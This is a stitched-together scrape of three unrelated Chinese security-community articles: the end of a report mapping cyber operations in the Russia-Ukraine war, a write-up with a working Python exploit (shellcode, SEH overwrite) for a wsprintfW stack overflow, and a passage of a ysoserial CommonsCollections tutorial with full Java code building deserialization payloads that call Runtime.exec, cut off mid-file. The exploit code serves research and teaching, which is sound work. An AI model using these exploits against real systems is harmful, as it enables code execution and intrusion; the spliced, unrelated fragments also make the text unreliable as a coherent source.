通过对冲突爆发区域的网络空间IP掉线率数据变化及分布情况，可以发现，区域分布与特别军事行动演进路线及进度高度吻合。
**五是“感知”了双方应对网络攻击的防御能力和应急响应能力。**
通过对黑客使用的跳板抽样数据、暗网出口流量的变化趋势分析，可以发现，国际黑客组织在俄乌冲突中产生了巨大影响。国际黑客组织对俄乌双方发动攻击的趋势和烈度，与俄乌双方关键资产的掉线率相印证，可以从侧面反映出俄乌双方的网络防护能力和应急响应能力。
**六是“感知”了双方在网络空间对抗的激烈程度。**
通过对APT组织域名资产的变化趋势分析、对乌克兰战场智能指挥系统Delta入侵事件还原，以及对乌克兰IT军队在社交平台公布的信息分析，可以看出，俄乌双方在网络空间的持续对抗情况，与长期的测绘数据情况相匹配。
**七是“感知”了抢夺认知域作战主动权就是抢占国际舆论主导。**
俄乌双方都以“第一视角”的方式向全球直播冲突对抗实况，都在网络媒体和社交平台发声，争夺国际传播认知叙事主导权。以美国为首的西方国家利用在互联网世界的资源主导权，不断对俄罗斯的舆论发声渠道进行围追堵截，致使全球黑客站队情况呈现一边倒的局势，也使网络战的边界更加模糊，大大影响了网络战资源的倾斜。
**二、俄乌冲突爆发前期网络空间对抗**
综合各方观点，可以推测，在俄乌冲突爆发前，双方主要通过连续多年的APT攻击获取情报，为日后发起军事冲突打下基础。上述情况也可以从知道创宇的APT组织行为测绘以及舆论信息数据得到验证和显示。
**1 冲突爆发前APT组织行为的测绘数据**
知道创宇404高级威胁情报团队连续多年跟踪某个国外APT组织行为发现，国外安全机构报道称该组织从2013年开始针对乌克兰开展APT攻击活动。通过对该APT组织使用的C2网络资产进行持续测绘（见图2），可以明显看到，从2021年5月开始，该组织的C2网络资产数量相较之前激增近3倍，并在2022年1月达到最高峰。由此推测，俄乌冲突爆发前，该APT组织即开始大量部署网络基础设施，并对乌克兰持续性实施大规模的网络攻击。
编辑
图2 冲突爆发前某国外APT组织使用的IP资产情况
从该APT组织使用域名的维度看（见图3），在2020年12月至2021年5月期间，该组织表现异常活跃，使用的域名到2021年5月达到创纪录的8454个，随后迅速回落到1000个左右。该组织使用的域名在2022年2月达到峰值的7292个。这意味着在俄乌冲突爆发前，该APT组织已做好了网络空间对抗的相关准备。
编辑
图3 冲突爆发前某APT组织使用的域名资产情况
**2 冲突爆发前网络空间资产的动态测绘数据**
分析ZoomEye的测绘数据（见图4），可以发现，从冲突爆发前的2022年2月15日开始，乌克兰的IP资产数量明显下降。据媒体当天的报道，乌克兰政府机构等关键部门遭到大规模DDoS攻击。由此可以推测，是DDoS攻击致瘫了乌克兰的大量网站等在线系统，主要表现为网络空间资产的剧烈震荡。
编辑
图4 乌克兰全境IP存活状态趋势测绘
**3 冲突爆发前的舆论信息数据**
在冲突爆发前，美国曾派白宫最高级别网络安全官员访问北约，协调盟友共同帮助乌克兰应对网络战。美国网络司令部还增加了前往东欧的“前出狩猎”小组的数量，任务是加强乌克兰的网络防御能力。美国还通过网络平台散布俄罗斯在不久后进攻乌克兰的舆论，并多次在网上公布俄军在俄乌边境调动和部署情况，揭开了俄乌冲突舆论信息战的序幕。
**三、俄乌冲突爆发初期网络空间对抗**
在俄乌冲突初期，多家媒体报道，俄罗斯主要通过大规模DDoS攻击、数据擦除恶意软件攻击等方式，使乌克兰大量互联网、通信、交通、能源、金融等关键信息基础设施陷入瘫痪，有效打击了乌方军事指挥控制能力，为特别军事行动发动“闪电战”制造战机。同时，乌克兰在Telegram上持续发布任务，组织国际黑客向俄罗斯发起网络攻击。国际黑客组织“匿名者”（Anonymous）宣布对俄发动“网络战争”，声称攻击了俄罗斯电视台。克里姆林宫、国家杜马和国防部的网站因DDoS攻击而离线。这些情况可以从ZoomEye网络空间动态测绘、攻击者大数据监测、暗网流量监测的数据得到验证和显示。
**1 ZoomEye网络空间动态测绘数据**
俄乌冲突的爆发区域主要在乌克兰境内，据ZoomEye对乌克兰全境IP地址的在线存活状态数据，可以看出，网络战场的网络资产实际变化与特别军事行动的时间点相吻合，也印证了实体战场和网络空间态势之间有确切的时间对应关系。
2月23日至24日，乌方开始通过自主防卫手段主动断网，保护关键信息基础设施。从图5可看出，2月24日16点51分，存活IP数量急剧下降至
86%；2月24日20点37分，前期主动断网系统重新上线，存活 IP 数量反弹回升至
94%。但是，在随后一段时期（2月25日至3月7日），存活IP数量整体保持下降趋势，网络资产持续掉线。截至3月7日，存活IP数量已经降至78%。
编辑
图5 乌克兰全境IP在线存活变化趋势
从乌克兰各州IP存活数量变化趋势数据（见图6）可以看出，多数直辖市和州的存活IP数在2月24日均有急剧下降，与乌克兰全境IP地址在线存活数量的变化趋势相吻合。
编辑
图6 乌克兰各州IP存活数量变化趋势
对乌克兰首都和州2月24日IP存活比例和3月7日IP存活比例进行统计，统计结果如表1所示（该表格以基辅和各州2月23日IP存活数量进行降序排列）。
表1 乌克兰各州IP存活率
编辑
添加图片注释，不超过 140 字（可选）
对乌克兰首都和州网络资产掉线状况进行统计，可以绘制成热力图（见图7）。该图反映的状况映射出俄乌特别军事行动的演进进程，即俄罗斯是从北（基辅州）、东（哈尔科夫州、顿涅茨克州）、南（扎波罗热州）三个方向对乌克兰发动突袭，与实际情况高度吻合（见图8）。
编辑
图7 乌克兰各州网络空间IP存活率热力图
编辑
图8 俄乌特别军事行动进程图
通过ZoomEye对乌克兰的网络空间持续测绘，对乌克兰的军事及军事相关的基础设施存活变化进行观察及统计分析（见图9），可以发现，在冲突初期阶段有一个急剧下降的趋势，这个说明基础设施成为冲突的核心重点攻击目标，这也表明俄罗斯在冲突前就已经掌握了乌克兰相关的关键基础设施的分布等数据，很可能在本次武装冲突之前就展开对应的信息收集工作，由此说明在现代武装冲突中国家的基础设施安全至关重要，并且说明相比现实空间的实体战，网络战早已经先行。
编辑
图9 乌克兰关键信息基础设施在线存活变化趋势
2022年2月24日的16点51分，乌克兰的关基设施在数小时内掉线比例达到57.81%，远远高于非关基设施的掉线比例7.52%。2022年3月7日，乌克兰的关基设施掉线比例为66.00%，仍然远高于非关基设施的掉线比例16.07%（见表2）。
表2 乌克兰网络资产变化情况
编辑
添加图片注释，不超过 140 字（可选）
表2显示，2月24日非关基设施的资产掉线比例是7.52%，3月7日非关基设施的资产掉线比例是16.07%，非关基设施的掉线比例有明显的增加，说明战争对乌克兰的民众生活及社会局势带来了越来越多的不稳定性。这段时间的媒体报道显示，大量的乌克兰人民选择离开乌克兰。
从乌克兰掉线的关基设施所属行业分布（见图10）可以看出，掉线的关基设施数量最多的3个行业是金融、政府和能源。这与媒体报道俄罗斯针对乌克兰的政府和银行网站开展大量DDoS网络攻击的情况相呼应。
编辑
图10 乌克兰掉线关基设施行业分布
据俄罗斯卫星通讯社2月27日消息，国际黑客组织“匿名者”（Anonymous）宣布对俄发动“网络战争”，声称对今日俄罗斯电视台（RT）遭受的一次网络攻击负责，并“黑掉”了车臣政府网站，也攻击了不少俄罗斯的摄像头。同日，美国前国务卿希拉里·克林顿呼吁美国黑客对俄罗斯发动网络攻击。另据Cyberscoop网站消息，俄罗斯政府3月2日公布的一份清单显示，有17500多个IP地址和174个互联网域名参与了针对俄境内目标的持续DDoS攻击，克里姆林宫、国家杜马和国防部的网站因DDoS攻击而离线。
依据对俄罗斯军事、工业、能源、金融、交通等关基网络空间资产的测绘数据（见图11），其中包括对俄的近3000个关基单位，超过11万网络IP的存活、类型、所有者、漏洞、GPS位置、业务类型的测绘数据，可以发现，在黑客攻击及舆论攻势下，俄罗斯网络空间资产和关键基础设施情况基本保持稳定。这也说明俄罗斯具有较强的网络防御能力。
编辑
图11 俄罗斯关键信息基础设施在线存活变化趋势
乌克兰也作出了相应的反击。乌克兰总统泽连斯基、乌克兰国家安全局等在呼吁国际黑客加入 IT
军团，从2022年2月26日起，在Telegram上持续发布任务（见表3），组织国际黑客向俄罗斯发起网络攻击，攻击目标覆盖俄罗斯的银行、日报媒体、科技公司等网站（见表4）。2月27日，乌克兰在网络上招募的一支由安全研究人员和黑客组成的志愿“IT军队”，对包括政府机构、关键基础设施和银行在内的31个俄罗斯实体目标进行网络攻击。
表3 乌克兰IT军队在Telegram上发布的部分任务
编辑
添加图片注释，不超过 140 字（可选）
表4 乌克兰IT军队发布的部分攻击目标
编辑
添加图片注释，不超过 140 字（可选）
**2 对攻击者的大数据分析**
自2022年1月起，发生了多起针对乌克兰重要网站的DDoS攻击事件。依据创宇安全智脑监和云蜜罐平台捕获的攻击日志数据，攻击者通过“肉鸡”发起了大规模的DDoS攻击，并伴随乌克兰局势的变化2月13日之后加大了攻击强度，在2月24日达到顶峰（见图12）。
编辑
图12 攻击者利用“肉鸡”对乌克兰攻击趋势
依据2022年2月20日至2月27日乌克兰“肉鸡”攻击变化趋势数据，可以得出以下结论：一是乌克兰“肉鸡”数量从2022年2月20日起呈明显的上升趋势，到2月24日到达顶峰。据推测，这是攻击者通过“肉鸡”发起了大规模的DDoS攻击的高峰期，时间点与普京宣布发起特别军事行动的时间点相吻合。二是乌克兰“肉鸡”数量在2月24日明显下降，与前述提到的乌克兰全境IP地址在线存活数量在2月24日急剧下降的走势及时间点吻合，两个数据之间可互相印证。据推测，海量“肉鸡”在发动攻击后被快速主动销毁。
3月1日，伊赛特公司（ESET）安全团队披露了针对乌克兰政府组织的第三种数据擦除恶意软件IsaacWiper。这种新型数据擦除恶意软件不带有用于代码验证的数字签名，与HermeticWiper没有代码相似性且复杂度较低，并自2月24日起不断采用各种技术手段实施攻击，乌克兰数百台关键计算机被检测到数据擦除恶意软件，涉及乌克兰的金融和政府承包商，导致相关组织的系统设备数据遭到恶意删除。
依据创宇安全智脑长期对全球黑客使用的300万跳板IP的跟踪数据，可以对黑客进行画像，标记其ID、手段、战法、动机、作战规律。依据2月20日到3月27日近1万个黑客使用的跳板抽样数据（见图13），在俄乌冲突爆发前几天，这些跳板被大量用于攻击俄罗斯，攻击量比平常增加了30倍。
编辑
图13 近1万黑客使用的跳板抽样数据
多方数据显示，超过50个国际黑客组织卷入了俄乌网络冲突。在双方的持续抗衡下，其中39个黑客组织支持乌克兰，并持续对俄罗斯发起网络攻击，仅15个黑客组织表示支持俄罗斯。相关黑客组织概要情况详见表5。
表5 相关黑客组织概要情况
编辑切换为居中
添加图片注释，不超过 140 字（可选）
编辑切换为居中
添加图片注释，不超过 140 字（可选）
**3 暗网流量的数据分析**
暗网因隐蔽性、匿名性往往成为网络犯罪的滋生地，也成为俄乌冲突网络对抗的“暗器”。可以说，几乎所有有价值的攻击都会通过暗网进行布控和发动。依据创宇安全智脑持续对暗网出口节点实时流量0.13%的采样数据，对比俄乌冲突爆发前与俄乌冲突爆发初期的暗网流量变化，可以清晰感知暗流涌动的暗网流量变化态势。
表6 暗网流量变化态势
编辑
添加图片注释，不超过 140 字（可选）
依据表6，暗网出口节点流量去往俄罗斯的占比在俄乌冲突初期显著上升，连接数（connection）由冲突前539,759，占比6.79%，上升至冲突初期2,378,098，占比29.30%，。同期对比乌克兰的出口访问流量基本变化不大。俄乌冲突初期暗网出口流量排名前10的出口节点访问IP地址显示，其中有7个都是俄罗斯的IP。持续统计暗网出口节点流量访问HTTP(S)协议-主机名Top10（见图14），可以发现，大部分流量都去往俄罗斯的主要安全机构俄罗斯联邦安全局官网 fsb.ru。
编辑
图14 俄乌冲突期间的暗网出口流量统计
结合3月6日匿名者黑客组织（Anonymous）在Twitter上发布的消息（见图15），他们声明已经让fsb.ru不能访问的消息显示，推测匿名者黑客组织同时利用了大量的暗网流量，成功发动了网络攻击。
编辑
图15 黑客组织在Twitter上发布的消息
**4 对舆论信息数据的分析**
据国外媒体报道，自俄乌冲突开始，美国民用卫星系统星链Starlink一直向乌克兰提供涉及军事的服务，使其在战场上可以更好对抗俄军。媒体报道指出，有1万个星链终端被陆续送到乌克兰，这也成为乌克兰得以坚持至今的重要因素。依据2022年7月ZoomEye的星链全貌测绘数据（参见《解密笼罩全球的太空WIFI：“星链”计划网空资产测绘报告》https://www.secrss.com/articles/44419），可以发现，有2个星链终端IP暴露于互联网上，而这两个IP都位于乌克兰西部的外喀尔巴阡州，这也印证了马斯克已经激活为乌克兰提供星链服务的相关言论。
西方国家尤其是美国利用自己对全球主流媒体、社交平台的掌控，以及一批跨国信息科技公司在互联网世界的资源主导权，不断对俄罗斯的舆论发声渠道进行围追堵截。2月27日，欧盟宣布禁止俄罗斯电视台和俄罗斯卫星通讯社两家俄罗斯官方媒体在欧盟境内传播，相关制裁措施在3月2日正式生效。随后，主流社交平台和跨国信息科技公司也纷纷跟进，美国Meta公司禁止俄罗斯官方媒体在其平台投放广告；谷歌公司封锁了俄罗斯官方媒体的YouTube频道，并将俄罗斯国家资助的出版商从谷歌新闻中除名；微软从其全球微软应用商店中删除了俄罗斯新闻应用程序；苹果在俄罗斯以外国家和地区的App
Store中删除了俄罗斯的新闻应用程序。这一系列限制措施导致俄罗斯官方媒体难以发声，俄罗斯在全球舆论战场落于下风。
俄罗斯媒体积极利用各类社交平台宣传俄军对乌克兰平民进行人道主义援助以及解救人质的视频，公布乌克兰军队的恶行和北约国家的阴谋，尤其是俄罗斯宣称在乌克兰发现了为美国工作的生物实验室，引发国际社会极大关注。
**四、俄乌冲突相持阶段网络空间对抗**
综合各方信息分析，俄乌冲突进入“相持阶段”后，双方主要以多点物理打击空袭为主、网络攻击为辅的战略，网络攻击中既有APT组织行动，也有国际黑客组织发起的行动，还有不确定攻击来源的行动。以上情况从ZoomEye网络空间动态测绘数据、APT组织行为测绘数据、舆论信息数据中可以得到验证。
**1 ZoomEye网络空间动态测绘数据**
依据ZoomEye对俄乌双方网络空间资产进行长期测绘数据（见图16），从2022年3月7日至2022年12月31日，冲突爆发区域IP存活数量的变化趋势及时间拐点，与俄乌冲突中多个特别军事行动密切相关。
编辑
图16 冲突爆发区域IP变化时间与俄方特别军事行动时间吻合
依据后续对特别军事行动发生时间与IP存活数量变化进行的交叉印证数据（见表7），可以发现，两者的时间点高度吻合，也从侧面反映出乌克兰有能力在较短时间做出及时的响应措施并恢复网络，表现了较好的应急能力。
表7 冲突爆发区域IP变化趋势与俄方特别军事行动交叉印证
编辑切换为居中
添加图片注释，不超过 140 字（可选）
**2 APT组织行为测绘数据**
据报道，某国外APT组织在2022年持续对乌克兰进行针对性攻击。在以美国为首的北约国家对俄罗斯进行各方面制裁和众多安全厂商对该APT组织进行多次披露之后，该APT组织的IP资产特征也发生了一定程度变化。从2022年8月以后该APT组织使用的IP资产数量可以看出（见图17），该组织的资产持续地更新和变化，并持续地对乌克兰进行攻击。
编辑
图17 某国外APT组织IP资产变化
从2022年8月以后该APT组织使用的域名资产数量可以看出（见图18），该组织仍然使用大量域名进行相应地攻击活动，并且大部分域名的顶级域名仍然为.ru，且有少量.com和.org的新域名出现。
编辑
图18 某国外APT组织域名资产变化
从2022年8月以后该组织使用的IP资产所在国家的分布情况可以看出（见图19），该APT组织的IP资产主要位于美国、德国、新加坡、荷兰和英国，其中美国占比39%，排名第一。
编辑
图19 某国外APT组织资产分布变化
据国外媒体报道，2022年11月1日，乌克兰“引以为傲”的战场智能指挥系统Delta系统被俄罗斯黑客成功入侵后得到大量关注，这可能是俄乌冲突以来，乌克兰方面最严重的黑客入侵和数据泄露事件。依据ZoomEye的测绘数据，可以佐证乌克兰军事记者提出的钓鱼事件的真实性（完整证据链详见https://mp.weixin.qq.com/s/_vn7XrXvVAWqp-Ce7KOYAA）。
一是首先从ZoomEye的测绘数据对乌克兰DELTA系统的域名delta.mil.gov.ua进行检索发现，该网站的图标与曝光的DELTA系统的图标是一样的。由此可以确认，之前的DELTA系统是部署在外网，这与乌克兰的很多系统被迁移至公有云的情况，相一致。
二是通过ZoomEye的历史数据查询，对开源情报获得的钓鱼域名delta.milgov[.]site的IP进行搜索，可以在banner信息中发现浏览器“另存为”的痕迹，进而可以确认了如下两个钓鱼域名/IP的映射关系。（注：查询工具可以使用ZoomEye命令行客户端https://github.com/knownsec/ZoomEye-python）。
编辑
图20 钓鱼域名/IP的映射关系
三是通过whois历史数据库反查，可以确认delta.milgov.site（注册日期8月8日）和delta.milgov.host（注册日期8月21日）都使用了同一个邮箱进行注册，并且，注册地点写的都是Kyivska。
从上面的线索可以推断，攻击者通过克隆真实的乌克兰DELTA系统制作了钓鱼网站模板，随之先后申请了milgov.site及milgov.host两个钓鱼域名，然后通过邮件或者其他方式发送伪造乌克兰军方的“通告”文档，引诱乌军士兵登录，并成功获取到了账号，访问13分钟后被发现并封停了账号。
此事件引发的思考是，在正常情况下军事指挥系统部署在外网上是非常不可思议的。结合ZoomEye针对乌克兰战场测绘的报告，可以推测可能存在以下两点原因。
一是战场智能指挥系统Delta配合Starlink的支持，为前线士兵军官提供作战指挥能力，是不可缺少的。
二是乌克兰的关键基础设施是被打击的目标，当物理空间安全得不到基本保障，只有将Delta部署在外网才能够保证正常的作战通信。
这个细节的重要启示是：在战时等物理空间面临毁灭性威胁时，依赖网络空间智能作战系统需要的网络空间稳定性，可能成为第一需求。
**3 舆论信息监测数据**
在舆论信息战方面，各种信息域融合对抗的信息战和新媒体时代的舆论战，使有关俄乌冲突的国际话语权争夺异常激烈。
从俄罗斯方面看，据英国广播公司（BBC）5月10日报道，俄罗斯胜利日期间，俄罗斯境内部分电视台遭受网络攻击，黑客成功获取权限后发布反战信息。这次协同网络攻击影响了包括俄罗斯第一频道、Rossiya-1、MTS和NTV-Plus等俄罗斯主要媒体。在胜利日期间，在俄罗斯总统普京发表讲话时，黑客组织破坏了俄罗斯在线的电视时间表网页，并发布反战信息。2022年9月初，美国Meta公司宣布已经关闭了数量庞大的脸书（Facebook）和照片墙（Instagram）的俄罗斯用户群，号称这些用户群针对德国、法国、意大利、乌克兰和英国在60多个冒充欧洲新闻机构的网站发布虚假信息，传播与俄乌冲突及其对欧洲影响有关的虚假内容。
从乌克兰方面看，国外一些智库将俄乌冲突定义为世界上“第一次互联网战争”，乌克兰就是通过新型的互联网作战方式坚持作战的。乌克兰政府在战前推出了一款手机软件，这款软件设计之初就是为了让公民更容易办理相关的政府手续。但是，冲突爆发后，软件的性质就变了，沦为乌克兰军队的前线耳目。任何乌克兰公民都可以通过这个手机软件提交自己看到的任何俄罗斯军事动作、武器装备，以及作战人员情况。提交情况的文件格式可以是文字，也可以是视频，甚至可以是地址的定位。一开始，这是民众的自发传播，后来，乌克兰政府开始鼓励民众这么做，鼓励大家报告看到的坦克、军队和任何俄罗斯军队的相关信息。俄乌冲突初期，俄罗斯的闪电战之所以溃败，很大一部分原因，就是乌克兰民众在实时向政府传递军事消息。
**五、启示与建议**
目前，俄乌冲突还在继续，全球网络空间现已成为世界各国多方角逐的数字战场，世界进入新的动荡变革期。我国应当充分吸取其中的经验教训，在网络空间战场全面布局，从时间与空间两个层面，建立基于安全大数据情报驱动的“向前防御体系”，全面提升我国网络空间实战对抗能力。
一是通过全球网络空间明/暗网资产的交叉测绘构建网络空间作战地图，对网络空间战场的变化进行动态分析，打破认知域迷雾，掌握网络空间战场真实态势，提前感知敌对势力的作战意图。
二是通过APT组织行为测绘构建APT组织新上线资产提前发现能力，结合对关键信息基础设施内部历史流量数据关联分析，从攻击源阻断APT组织的长期渗透与窃密行为，防止我国关键情报泄露。
三是充分利用云防御分布式架构与弹性扩展的天然优势，实现海量DDoS攻击的流量清洗，在网络空间建立防护罩，将交火对抗区前移，防范关键信息基础设施直接受到不可抵抗打击陷入瘫痪。
四是通过人工智能技术对各类安全情报进行融合分析，持续优化对未知攻击手段的检测防护能力，动态赋能整个安全防护体系，全面提升实战对抗能力，让敌对势力难寻战机。
五是加快国际话语体系建设，加强和创新互联网内容建设，深化网络生态治理，降低在网络空间对抗中敌对势力对作战指挥、战争形态、进程甚至走向的影响。 | 社区文章 |
Author：[SaFeBuG@i春秋](http://bbs.ichunqiu.com/thread-13555-1-1.html?from=seebug)
漏洞相关链接：http://www.freebuf.com/articles/terminal/102204.html
几个重要参数分布图：
D380处为`input_buf`，即是所发的shellcode包，大小为0x430 F920处为`dst_buf`，大小0x208
FB28处为`format_str`，大小为0x92
关键函数wsprintfW最大拷贝值为：0x400。由于该函数为unicode型，故每次拷贝两个字节，循环拷贝0x400次，故总共拷贝0x800
byte。从F920处开始，向下拷贝0x800个字节，导致栈空间全部被覆盖，触发了page
fault异常。于是我们可以借此漏洞刻意覆盖SEH首链地址，用pop pop retn 覆盖第一个异常处理函数地址，用eb 06 90 90
覆盖第一个异常处理链表地址，接着就是用我们的布置好的call xxxx 覆盖后面部分。
如下图：
该漏洞只能在本地测试，远程测试的话，需要使用IPv6的ip地址才能成功。
IDA代码段如下；
该函数必须返回非零，下一步才能到达漏洞点。
**测试环境：**
Windows 7 x86 给出本地测试EXP代码： local_exp.py
import socket
import sys
import os
import time
import struct
import binascii
import random
# windows/exec - 220 bytes
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, PrependMigrate=false, EXITFUNC=process,
# CMD=calc.exe
MsgBox = (
"\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52\x56\x64"
"\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B"
"\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20"
"\x01\xFE\x8B\x4C\x1F\x24\x01\xF9\x42\xAD\x81\x3C\x07"
"\x57\x69\x6E\x45\x75\xF5\x0F\xB7\x54\x51\xFE\x8B\x74"
"\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7")
#pading = "A"*(0x20b+0x9) + "B"*(0x225-0x9)
#pading = "A"*(0x20b+0x9) + sc
attack = "\x90"*0x10 + MsgBox + "A"*(0x214 - 0x10 - len(MsgBox)) + "B"*(0x162) + "\xeb\x06\x90\x90" + "\x6d\x14\x40\x00" + "\xe8\x37\xd4\xfe\xff" + "D"*(0xb6-0x4-0x5)
port = 6129
#if len (sys.argv) == 2:
# (progname, host ) = sys.argv
#else:
# print len (sys.argv)
# print 'Usage: {0} host'.format (sys.argv[0])
# exit (1)
host = '0:0:0:0:0:0:0:1'
csock = socket.socket( socket.AF_INET6, socket.SOCK_STREAM)
csock.connect ( (host, int(port)) )
type = 444.0
buf = struct.pack("I", 4400 ) #Init Version
buf += "\xcc"*4
buf += struct.pack("d", type) #Minor Version
buf += struct.pack("d", type) #Minor Version
buf += (40 - len(buf)) * "C"#csock.send(buf)
csock.send(buf)
print binascii.hexlify(csock.recv(0x4000)) #necessary reads
buf = struct.pack("I", 0x9c44) #msg type
#buf += pading #payload
buf += attack
#buf += ("%" + "\x00" + "c" + "\x00")
csock.send(buf)
print binascii.hexlify(csock.recv(0x4000))
csock.close()
SYSTEM级别的calc。
原文地址：http://bbs.ichunqiu.com/thread-13555-1-1.html?from=seebug
* * * | 社区文章 |
# ysoserial-CommonsCollections系列总结篇
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言：
网上分析CommonsCollections调用链的文章也有不少，但是看完分析文章直接手动构造利用链仍有难度，因此这篇文章主要总结本人调试ysoserial的CommonsCollections系列利用链的思考和体会，通过这篇文章希望大家能够了解CommonsCollections不同链之间的共性和区别，能够在看完gadget后可以手动构造利用链，本文主要内容包括以下几点：
* 1.每条反序列化利用链的构成特点
* 2.每条链不同类之间衔接的特点及要点
* 3.对比不同利用链之间的区别以及相似点
* 4.自己如何根据链接点的特性来构造反序列化exp
* 5.如何混合搭配链接点从而形成一条新的gadget利用链(例如cc5、cc6、cc7分别扩展2条、2条、1条)
## CommonsCollections1
反序列化调用链如下所示：
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Runtime.getRuntime()
Runtime.exec()
对于cc1(以下cc即代表commonscollections)来说最外层的Annotationinvocationhandler相当于只是一个容器作用，将动态代理proxy放到其this.memberValues成员方法中去，其中invocationhandler又是一个Annotationinvocationhandler，然后在其readobject方法中就会调用this.memberValues.entryset,从而触发动态代理，从而进入动态代理的invoke函数代码块
因此invoke函数中调用this.memberValues.get即调用lazymap.get，从而到了this.factory.transform()，接下来内部是chainedTransformer+constantTransformer+3层invokeTransformer，因为get的参数是不存在的entryset，所以需要constantTransformer先返回一个Runtime类再通过3个invokeTransformer联合起来反射rce执行命令。
**CommonsCollections1.java：**
package CommonsCollections1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.*;
import java.lang.Runtime;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Proxy;
import java.lang.reflect.InvocationHandler;
public class exp {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
final Transformer[] trans = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}
),//拿到Method getruntime方法
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,new Object[0]}),//拿到Runtime类实例
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"})//调用exec执行命令
};
final Transformer chained = new ChainedTransformer(trans); //封装chained调用链
final Map innerMap = new HashMap();
final Map outMap = LazyMap.decorate(innerMap,chained); //封装lazymap
final Constructor<?> han_con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
han_con.setAccessible(true);
InvocationHandler han = (InvocationHandler) han_con.newInstance(Override.class,outMap); //将lazymap放进membervalues，从而在membervalues.get变为laymap.get
final Map mapProxy = (Map)Proxy.newProxyInstance(exp.class.getClassLoader(),outMap.getClass().getInterfaces(),han); //为lazymap设置动态代理，从而到达handler的invoke
//将proxy代理放进外层的AnnotationInvocationHandler，从而membervalues.entryset触发动态代理
final Constructor<?> out_con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
out_con.setAccessible(true);
InvocationHandler out =(InvocationHandler) out_con.newInstance(Override.class,mapProxy);
FileOutputStream fo = new FileOutputStream(new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections1.ser"));
ObjectOutputStream obj = new ObjectOutputStream(fo);
obj.writeObject(out);
obj.close();
}
}
## CommonsCollections2
反序列化调用链如下所示：
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingConparator()
TransformingComparator.compare()
InvokerTransformer.transform()
TemplatesImpl.newTranformer()
Method.invoke()
Runtime.exec()
cc2的利用PriorityQueue队列键值反序列化后进行key值比较，可以自定义比较器comparator，因此利用commonscollections4里面的TransformingComparator，在该类的compare函数中又会调用this.transformer.transform来对key进行转换，因为key是从外面直接传进来的，即可控的，这里key其实是一个templatesimpl的实例。
在打fastjson1.2.24中就用到了jdk的templatesimpl这个内置类，在其_bytecodes字段中放入恶意类的字节码，将在调用其getTransletInstance中进行实例化，所以这里只需要一个invoketransformer即可，直接反射执行调用templatesImpl的newTransformer或者getoutputProperties来实例化templates的_bytecodes字段中的类进行rce
**CommonsCollections2.java：**
package CommonCollections2;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
public class exp {
public static void main(String[] args) throws ClassNotFoundException, NotFoundException, IOException, CannotCompileException, NoSuchFieldException, IllegalAccessException {
//封装恶意的templatesImpl实例
TemplatesImpl tmp = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(payload.class));
CtClass clazz = pool.get(payload.class.getName());
final byte[] clazzByte = clazz.toBytecode();
//_bytecode为private，需要在其中放入rce的payload类的字节码
Field _btcode = TemplatesImpl.class.getDeclaredField("_bytecodes");
_btcode.setAccessible(true);
_btcode.set(tmp,new byte[][]{clazzByte});
//_name不为空即可
Field _name = TemplatesImpl.class.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(tmp,"tr1ple");
//_tfactory可为空，不设置也可以
Field _tf = TemplatesImpl.class.getDeclaredField("_tfactory");
_tf.setAccessible(true);
_tf.set(tmp,null);
//构造priorityqueue实例
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
InvokerTransformer trans = new InvokerTransformer("newTransformer",new Class[0],new Object[0]);
//InvokerTransformer trans = new InvokerTransformer("getOutputProperties",new Class[0],new Object[0]); //调用该方法一样的效果
//依赖collections4
TransformingComparator com = new TransformingComparator(trans);
//自定义comparator
Field ComFi = PriorityQueue.class.getDeclaredField("comparator");
ComFi.setAccessible(true);
ComFi.set(queue,com);
Field qu = PriorityQueue.class.getDeclaredField("queue");
qu.setAccessible(true);
Object[] objOutput = (Object[])qu.get(queue);
objOutput[0] = tmp; //将templasImpl实例放入队列，从而进一步传入invokertransform的transform函数
objOutput[1] = 1;
//序列化
File file;
file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections2.ser");
OutputStream out = new FileOutputStream(file);
ObjectOutputStream obj = new ObjectOutputStream(out);
obj.writeObject(queue);
obj.close();
}
}
payload.java
package CommonCollections3;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
